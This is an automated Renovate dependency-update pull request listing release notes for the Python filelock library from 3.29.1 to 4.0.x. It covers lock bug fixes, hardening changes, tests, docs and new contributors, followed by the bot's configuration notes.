[@​Pitchfork-and-Torch](https://redirect.github.com/Pitchfork-and-Torch) made their first contribution in [tox-dev/filelock#739](https://redirect.github.com/tox-dev/filelock/pull/739) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.0...4.0.1> ### [`v4.0.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.0) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.32.7...4.0.0) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.0 --> #### What's Changed - 🐛 fix(soft-rw): replace the state mutex with a generation log by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#738](https://redirect.github.com/tox-dev/filelock/pull/738) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.32.7...4.0.0> ### [`v3.32.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.32.6...3.32.7) <!-- Release notes generated using configuration in .github/release.yaml at 3.32.7 --> #### What's Changed - Fix final symlink test on musl by [@​lprnmns](https://redirect.github.com/lprnmns) in [tox-dev/filelock#737](https://redirect.github.com/tox-dev/filelock/pull/737) - 📝 docs: say acquire() falls back to the lock's blocking attribute by [@​hxperl](https://redirect.github.com/hxperl) in [tox-dev/filelock#733](https://redirect.github.com/tox-dev/filelock/pull/733) #### New Contributors - [@​hxperl](https://redirect.github.com/hxperl) made their first contribution in [tox-dev/filelock#733](https://redirect.github.com/tox-dev/filelock/pull/733) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.32.6...3.32.7> ### [`v3.32.6`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.6) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.32.5...3.32.6) <!-- Release notes generated using configuration in .github/release.yaml at 3.32.6 --> #### What's Changed - 🐛 fix(lease): reject a duration no marker can carry by [@​lprnmns](https://redirect.github.com/lprnmns) in [tox-dev/filelock#723](https://redirect.github.com/tox-dev/filelock/pull/723) - 🐛 fix(soft-rw): reject non-finite timing options by [@​lprnmns](https://redirect.github.com/lprnmns) in [tox-dev/filelock#724](https://redirect.github.com/tox-dev/filelock/pull/724) - fix: preserve exception notes when copying and pickling by [@​jackwalkerlabs](https://redirect.github.com/jackwalkerlabs) in [tox-dev/filelock#729](https://redirect.github.com/tox-dev/filelock/pull/729) - test(soft-rw): reuse existing test module by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#730](https://redirect.github.com/tox-dev/filelock/pull/730) - fix: respect ACL write access when the owner write bit is absent by [@​jackwalkerlabs](https://redirect.github.com/jackwalkerlabs) in [tox-dev/filelock#728](https://redirect.github.com/tox-dev/filelock/pull/728) - Fix SoftReadWriteLock state lock timeout by [@​Sohel2309](https://redirect.github.com/Sohel2309) in [tox-dev/filelock#726](https://redirect.github.com/tox-dev/filelock/pull/726) #### New Contributors - [@​jackwalkerlabs](https://redirect.github.com/jackwalkerlabs) made their first contribution in [tox-dev/filelock#729](https://redirect.github.com/tox-dev/filelock/pull/729) - [@​Sohel2309](https://redirect.github.com/Sohel2309) made their first contribution in [tox-dev/filelock#726](https://redirect.github.com/tox-dev/filelock/pull/726) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.32.5...3.32.6> ### [`v3.32.5`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.5) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.32.4...3.32.5) <!-- Release notes generated using configuration in .github/release.yaml at 3.32.5 --> #### What's Changed - 🧪 test(fork): report where a stalled fork stops by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#715](https://redirect.github.com/tox-dev/filelock/pull/715) - 📝 docs: say that mode is read-only in the thread-local section by [@​Gares95](https://redirect.github.com/Gares95) in [tox-dev/filelock#716](https://redirect.github.com/tox-dev/filelock/pull/716) - 🐛 fix(lease): clear token after failed acquire by [@​lprnmns](https://redirect.github.com/lprnmns) in [tox-dev/filelock#721](https://redirect.github.com/tox-dev/filelock/pull/721) #### New Contributors - [@​lprnmns](https://redirect.github.com/lprnmns) made their first contribution in [tox-dev/filelock#721](https://redirect.github.com/tox-dev/filelock/pull/721) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.32.4...3.32.5> ### [`v3.32.4`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.4) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.32.3...3.32.4) <!-- Release notes generated using configuration in .github/release.yaml at 3.32.4 --> #### What's Changed - 🐛 fix: retry transient denials on open and claim read by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#705](https://redirect.github.com/tox-dev/filelock/pull/705) - 🧪 test: deflake six scheduled-run failures by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#704](https://redirect.github.com/tox-dev/filelock/pull/704) - 🧪 test: cover a reclaimed private record for real by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#706](https://redirect.github.com/tox-dev/filelock/pull/706) - 🧪 test(fork): fork once the event loop has closed by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#714](https://redirect.github.com/tox-dev/filelock/pull/714) - 🔧 chore: batch dependency updates weekly on Tuesday by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#713](https://redirect.github.com/tox-dev/filelock/pull/713) - escape the hostname every marker publishes by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#709](https://redirect.github.com/tox-dev/filelock/pull/709) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.32.3...3.32.4> ### [`v3.32.3`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.3) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.32.2...3.32.3) <!-- Release notes generated using configuration in .github/release.yaml at 3.32.3 --> #### What's Changed - 🧪 test(strict): deflake close-fault injections on graalpy by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#697](https://redirect.github.com/tox-dev/filelock/pull/697) - 📄 docs: publish llms.txt from the docs build by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#700](https://redirect.github.com/tox-dev/filelock/pull/700) - 🐛 fix(fork): survive audit events during interpreter shutdown by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#703](https://redirect.github.com/tox-dev/filelock/pull/703) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.32.2...3.32.3> ### [`v3.32.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.2) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.32.0...3.32.2) <!-- Release notes generated using configuration in .github/release.yaml at 3.32.2 --> #### What's Changed - Fix test failures on NetBSD ([#​689](https://redirect.github.com/tox-dev/py-filelock/issues/689)) by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#693](https://redirect.github.com/tox-dev/filelock/pull/693) - 🧪 test(soft-rw): deflake writer phase-2 peer-marker test by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#694](https://redirect.github.com/tox-dev/filelock/pull/694) - hand back the claim when a heartbeat thread fails to start by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#691](https://redirect.github.com/tox-dev/filelock/pull/691) - 🧪 test(unix): deflake sticky-bit concurrent-unlink on graalpy by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#695](https://redirect.github.com/tox-dev/filelock/pull/695) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.32.1...3.32.2> ### [`v3.32.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.0) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.2...3.32.0) <!-- Release notes generated using configuration in .github/release.yaml at 3.32.0 --> #### What's Changed - 👷 ci: add Python 3.15 to the test matrix by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#683](https://redirect.github.com/tox-dev/filelock/pull/683) - 🐛 fix(packaging): let an unpacked sdist run the test suite by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#685](https://redirect.github.com/tox-dev/filelock/pull/685) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.31.2...3.32.0> ### [`v3.31.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.2) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.1...3.31.2) <!-- Release notes generated using configuration in .github/release.yaml at 3.31.2 --> #### What's Changed - 🐛 fix(strict): tolerate an errno without ENOTSUP by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#681](https://redirect.github.com/tox-dev/filelock/pull/681) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.31.1...3.31.2> ### [`v3.31.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.1) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.0...3.31.1) <!-- Release notes generated using configuration in .github/release.yaml at 3.31.1 --> #### What's Changed - ♻️ refactor(coverage): key exclusions on probed capability by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#679](https://redirect.github.com/tox-dev/filelock/pull/679) - scope a lease's claim to the context that acquired it by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#680](https://redirect.github.com/tox-dev/filelock/pull/680) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.31.0...3.31.1> ### [`v3.31.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.0) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.3...3.31.0) <!-- Release notes generated using configuration in .github/release.yaml at 3.31.0 --> #### What's Changed - ✨ feat(platform): support Termux/Android by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#678](https://redirect.github.com/tox-dev/filelock/pull/678) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.30.3...3.31.0> ### [`v3.30.3`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.3) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.2...3.30.3) <!-- Release notes generated using configuration in .github/release.yaml at 3.30.3 --> #### What's Changed - Keep both tables of contents on screen at any browser font size by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#673](https://redirect.github.com/tox-dev/filelock/pull/673) - 📝 docs(mermaid): follow the light and dark theme toggle by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#674](https://redirect.github.com/tox-dev/filelock/pull/674) - asyncio: scope the reentrant-deadlock registry to the owning task by [@​xt-yin](https://redirect.github.com/xt-yin) in [tox-dev/filelock#676](https://redirect.github.com/tox-dev/filelock/pull/676) #### New Contributors - [@​xt-yin](https://redirect.github.com/xt-yin) made their first contribution in [tox-dev/filelock#676](https://redirect.github.com/tox-dev/filelock/pull/676) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.30.2...3.30.3> ### [`v3.30.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.2) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.1...3.30.2) <!-- Release notes generated using configuration in .github/release.yaml at 3.30.2 --> #### What's Changed - Document every lock type, and stop evicting a marker we cannot read by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#672](https://redirect.github.com/tox-dev/filelock/pull/672) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.30.1...3.30.2> ### [`v3.30.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.1) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.0...3.30.1) <!-- Release notes generated using configuration in .github/release.yaml at 3.30.1 --> #### What's Changed - 📝 docs: separate changelog releases with a blank line by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#668](https://redirect.github.com/tox-dev/filelock/pull/668) - 🐛 fix: tolerate NFSv3 stale handle in strict claim read by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#669](https://redirect.github.com/tox-dev/filelock/pull/669) - Match fork-reset protocol on the class object by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#671](https://redirect.github.com/tox-dev/filelock/pull/671) - reject non-finite lease duration in marker records by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#670](https://redirect.github.com/tox-dev/filelock/pull/670) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.30.0...3.30.1> ### [`v3.30.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.0) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.7...3.30.0) <!-- Release notes generated using configuration in .github/release.yaml at 3.30.0 --> #### What's Changed - 🎨 style: readability cleanup across the library by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#598](https://redirect.github.com/tox-dev/filelock/pull/598) - 🐛 fix(api): ignore lifetime on native OS locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#593](https://redirect.github.com/tox-dev/filelock/pull/593) - 🐛 fix(unix): don't mutate lock file before acquiring flock by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#594](https://redirect.github.com/tox-dev/filelock/pull/594) - soft: evict a non-regular lock file without reading it by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#597](https://redirect.github.com/tox-dev/filelock/pull/597) - 🐛 fix(windows): bind reparse-point check to the locked handle by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#596](https://redirect.github.com/tox-dev/filelock/pull/596) - 🐛 fix(api): make native lock release transactional by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#615](https://redirect.github.com/tox-dev/filelock/pull/615) - 🐛 fix(soft): make marker writes and cleanup transactional by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#614](https://redirect.github.com/tox-dev/filelock/pull/614) - 🐛 fix(windows): open the lock file through NtCreateFile by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#617](https://redirect.github.com/tox-dev/filelock/pull/617) - ✨ feat(api): add context_error_policy for dual context failures by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#618](https://redirect.github.com/tox-dev/filelock/pull/618) - 📝 docs: correct Unix lock-file cleanup and flock claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#623](https://redirect.github.com/tox-dev/filelock/pull/623) - ✨ feat(api): add close_error_policy for post-unlock close errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#619](https://redirect.github.com/tox-dev/filelock/pull/619) - 🐛 fix(api): canonicalize singleton keys without following a final symlink by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#621](https://redirect.github.com/tox-dev/filelock/pull/621) - ✨ feat(unix): add fallback_to_soft opt-out for native locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#622](https://redirect.github.com/tox-dev/filelock/pull/622) - ✨ feat: add lock_descriptor for a caller-owned descriptor by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#620](https://redirect.github.com/tox-dev/filelock/pull/620) - ✨ feat(api): add preserve_lock_file to keep the lock pathname by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#624](https://redirect.github.com/tox-dev/filelock/pull/624) - ✨ feat(api): add on_acquired post-acquisition hook by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#625](https://redirect.github.com/tox-dev/filelock/pull/625) - 🔧 build(release): towncrier changelog pipeline, backfill, and docs by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#626](https://redirect.github.com/tox-dev/filelock/pull/626) - 📝 docs: drop bot entries and link code refs in the changelog by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#638](https://redirect.github.com/tox-dev/filelock/pull/638) - 🐛 fix(api): validate lifetime values by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#644](https://redirect.github.com/tox-dev/filelock/pull/644) - 🐛 fix(win32): capture process probe errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#645](https://redirect.github.com/tox-dev/filelock/pull/645) - 🐛 fix(api): reject dropped lock options by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#646](https://redirect.github.com/tox-dev/filelock/pull/646) - 🐛 fix(api): retain acquisition path identity by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#647](https://redirect.github.com/tox-dev/filelock/pull/647) - 🐛 fix(api): detach grouped release errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#648](https://redirect.github.com/tox-dev/filelock/pull/648) - 🐛 fix(descriptor): define unavailable behavior by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#650](https://redirect.github.com/tox-dev/filelock/pull/650) - 🐛 fix(ci): map absolute coverage paths by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#651](https://redirect.github.com/tox-dev/filelock/pull/651) - 🐛 fix(soft): relinquish fd before close by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#649](https://redirect.github.com/tox-dev/filelock/pull/649) - 🐛 fix(async): make cancellation atomic by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#652](https://redirect.github.com/tox-dev/filelock/pull/652) - 🐛 fix(sqlite): isolate forked connections by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#657](https://redirect.github.com/tox-dev/filelock/pull/657) - 🧪 test(conftest): scope the close mock to one descriptor by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#656](https://redirect.github.com/tox-dev/filelock/pull/656) - ✨ feat(soft): add strict soft locks and leases by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#658](https://redirect.github.com/tox-dev/filelock/pull/658) - ✨ feat(strict): replace shared markers with owner claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#659](https://redirect.github.com/tox-dev/filelock/pull/659) - 🐛 fix(soft): detect a reused PID via process start time by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#660](https://redirect.github.com/tox-dev/filelock/pull/660) - 🔒 fix(soft): fail safe on transient heartbeat errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#661](https://redirect.github.com/tox-dev/filelock/pull/661) - 📝 docs: state the lock trust boundaries once by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#663](https://redirect.github.com/tox-dev/filelock/pull/663) - 👷 ci(perf): add the performance and NFS matrix by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#664](https://redirect.github.com/tox-dev/filelock/pull/664) - Replace prettier with mdformat and yamlfmt by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#667](https://redirect.github.com/tox-dev/filelock/pull/667) - 👷 ci(matrix): add SMB, capability, and matrix docs by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#665](https://redirect.github.com/tox-dev/filelock/pull/665) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.29.7...3.30.0> ### [`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - asyncio: detect cross-instance reentrant deadlocks before the poll loop by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586) - 🐛 fix(soft_rw): evict non-regular write marker without reading it by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588) - \_util: drop the dead st_mtime=0 short-circuit in raise_on_not_writable_file by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.29.6...3.29.7> ### [`v3.29.6`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.6) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.5...3.29.6) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - serialise singleton construction in FileLockMeta by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#581](https://redirect.github.com/tox-dev/filelock/pull/581) - \_util: drop the dead st_mtime=0 short-circuit in raise_on_not_writable_file by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#582](https://redirect.github.com/tox-dev/filelock/pull/582) - test: silence fork DeprecationWarning on 3.15 by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#585](https://redirect.github.com/tox-dev/filelock/pull/585) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.29.5...3.29.6> ### [`v3.29.5`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.5) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.4...3.29.5) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - serialise read/write release rollback against a concurrent acquire by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#563](https://redirect.github.com/tox-dev/filelock/pull/563) - 🔒 fix(soft_rw): refresh held marker through the verified fd by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#565](https://redirect.github.com/tox-dev/filelock/pull/565) - only unlink the writer marker on release if it is still ours by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#566](https://redirect.github.com/tox-dev/filelock/pull/566) - don't follow symlinks in raise_on_not_writable_file by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#567](https://redirect.github.com/tox-dev/filelock/pull/567) - don't complete a writer acquire on a peer's reclaimed marker by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#571](https://redirect.github.com/tox-dev/filelock/pull/571) - use a private break name in break_lock_file by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#576](https://redirect.github.com/tox-dev/filelock/pull/576) - Keep Unix lock files after release by [@​itscloud0](https://redirect.github.com/itscloud0) in [tox-dev/filelock#577](https://redirect.github.com/tox-dev/filelock/pull/577) - test: fix Windows type check broken by [#​577](https://redirect.github.com/tox-dev/py-filelock/issues/577) by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#580](https://redirect.github.com/tox-dev/filelock/pull/580) - roll back a read acquire's open transaction when its SELECT fails by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#575](https://redirect.github.com/tox-dev/filelock/pull/575) - lifetime: reject negative, non-numeric, and bool values at the setter by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#573](https://redirect.github.com/tox-dev/filelock/pull/573) #### New Contributors - [@​itscloud0](https://redirect.github.com/itscloud0) made their first contribution in [tox-dev/filelock#577](https://redirect.github.com/tox-dev/filelock/pull/577) - [@​HrachShah](https://redirect.github.com/HrachShah) made their first contribution in [tox-dev/filelock#573](https://redirect.github.com/tox-dev/filelock/pull/573) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.29.4...3.29.5> ### [`v3.29.4`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.4) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.3...3.29.4) <!-- Release notes generated using configuration in .github/release.yaml at 3.29.4 --> #### What's Changed - verify inode in break_lock_file before unlinking a stale lock by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#561](https://redirect.github.com/tox-dev/filelock/pull/561) - keep the read/write heartbeat alive on a transient touch error by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#562](https://redirect.github.com/tox-dev/filelock/pull/562) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.29.3...3.29.4> ### [`v3.29.3`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.3) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.2...3.29.3) <!-- Release notes generated using configuration in .github/release.yaml at 3.29.3 --> #### What's Changed - 🔧 ci(release): publish to PyPI on tag push by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#557](https://redirect.github.com/tox-dev/filelock/pull/557) - validate pid range in \_parse_lock_holder by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#556](https://redirect.github.com/tox-dev/filelock/pull/556) - 🐛 fix(ci): restore release environment on tag job by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#559](https://redirect.github.com/tox-dev/filelock/pull/559) - 🐛 fix(ci): publish from release.yaml on tag push by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#560](https://redirect.github.com/tox-dev/filelock/pull/560) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.29.2...3.29.3> ### [`v3.29.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.2) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.1...3.29.2) <!-- Release notes generated using configuration in .github/release.yaml at 3.29.2 --> #### What's Changed - open marker reads non-blocking to refuse attacker-placed fifo by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#549](https://redirect.github.com/tox-dev/filelock/pull/549) - 🔒 fix(soft): harden stale-lock breaking and self-heal malformed locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#551](https://redirect.github.com/tox-dev/filelock/pull/551) - check hostname in is_lock_held_by_us by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#553](https://redirect.github.com/tox-dev/filelock/pull/553) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.29.1...3.29.2> ### [`v3.29.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.1) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.0...3.29.1) <!-- Release notes generated using configuration in .github/release.yaml at 3.29.1 --> #### What's Changed - docs: fix API docs of `release()` by [@​MrAnno](https://redirect.github.com/MrAnno) in [tox-dev/filelock#540](https://redirect.github.com/tox-dev/filelock/pull/540) - docs: clarify per-thread scope of FileLock configuration by [@​Gares95](https://redirect.github.com/Gares95) in [tox-dev/filelock#543](https://redirect.github.com/tox-dev/filelock/pull/543) - chore: improve filelock maintenance path by [@​lphuc2250gma](https://redirect.github.com/lphuc2250gma) in [tox-dev/filelock#542](https://redirect.github.com/tox-dev/filelock/pull/542) - chore: improve filelock maintenance path by [@​lphuc2250gma](https://redirect.github.com/lphuc2250gma) in [tox-dev/filelock#544](https://redirect.github.com/tox-dev/filelock/pull/544) - chore: improve filelock maintenance path by [@​lphuc2250gma](https://redirect.github.com/lphuc2250gma) in [tox-dev/filelock#545](https://redirect.github.com/tox-dev/filelock/pull/545) - 🐛 fix(soft): refuse to follow symlinks when reading the lock file by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#548](https://redirect.github.com/tox-dev/filelock/pull/548) #### New Contributors - [@​MrAnno](https://redirect.github.com/MrAnno) made their first contribution in [tox-dev/filelock#540](https://redirect.github.com/tox-dev/filelock/pull/540) - [@​Gares95](https://redirect.github.com/Gares95) made their first contribution in [tox-dev/filelock#543](https://redirect.github.com/tox-dev/filelock/pull/543) - [@​lphuc2250gma](https://redirect.github.com/lphuc2250gma) made their first contribution in [tox-dev/filelock#542](https://redirect.github.com/tox-dev/filelock/pull/542) - [@​dxbjavid](https://redirect.github.com/dxbjavid) made their first contribution in [tox-dev/filelock#548](https://redirect.github.com/tox-dev/filelock/pull/548) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/3.29.0...3.29.1> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/googleapis/google-cloud-python). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xNTUuMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE1NS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
